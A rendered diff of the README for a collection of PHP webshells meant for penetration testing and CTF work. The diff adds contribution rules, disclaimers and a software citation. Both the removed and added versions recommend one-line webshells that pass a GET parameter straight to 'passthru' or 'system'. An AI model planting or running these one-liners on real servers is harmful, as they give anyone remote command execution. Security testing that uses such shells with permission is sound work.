|
1 | 1 | Contributing
|
2 | 2 | ============
|
| 3 | + |
3 | 4 | To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost).
|
4 | 5 |
|
5 |
| -php-webshells |
| 6 | +PHP Webshells |
6 | 7 | =============
|
7 | 8 |
|
8 |
| -Common PHP shells. Do not put these on a publicly-accessible webserver. |
| 9 | +Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge. |
| 10 | + |
| 11 | +Do not host any of the files on a publicly-accessible webserver (unless you know what you are up-to). |
| 12 | + |
| 13 | +These are provided for education purposes only and legitimate PT cases. |
| 14 | + |
| 15 | +I'll keep updating the collection whnever I stumble on any new webshell. |
| 16 | + |
| 17 | +FYI |
| 18 | +==== |
9 | 19 |
|
10 |
| -These are provided for education purposes only. |
11 | 20 |
|
12 |
| -Common php webshells. Do not host the file(s) in your server! |
| 21 | +For basic features, I recommend one-liners like : |
13 | 22 |
|
14 |
| -++++++++++++++++++++++++++ |
| 23 | +`` |
15 | 24 |
|
16 |
| -Though I recommend one-liners like |
| 25 | +`` |
17 | 26 |
|
18 |
| -php echo passthru($_GET['cmd']); ?> |
| 27 | +`system($_GET['cmd']); ?>` |
19 | 28 |
|
20 |
| -(Not a full fledged webshell, but works fine) |
| 29 | +`` |
21 | 30 |
|
22 |
| -================================================================= |
23 | 31 |
|
24 |
| -You can try WebHandler for one-liners. |
| 32 | +Cite: |
| 33 | +===== |
25 | 34 |
|
26 |
| -WebHandler.py works for POST and GET requests: |
| 35 | +``` |
| 36 | +@software{jacques_pharand_2020_3748072, |
| 37 | + author = {Jacques Pharand and |
| 38 | + John Troon and |
| 39 | + Javier Izquierdo Vera}, |
| 40 | + title = {JohnTroony/php-webshells: Collection CS1}, |
| 41 | + month = apr, |
| 42 | + year = 2020, |
| 43 | + publisher = {Zenodo}, |
| 44 | + version = {1.1}, |
| 45 | + doi = {10.5281/zenodo.3748072}, |
| 46 | + url = {https://doi.org/10.5281/zenodo.3748072} |
| 47 | +} |
27 | 48 |
|
28 |
| - |
29 |
| - |
30 |
| - |
| 49 | +``` |
0 commit comments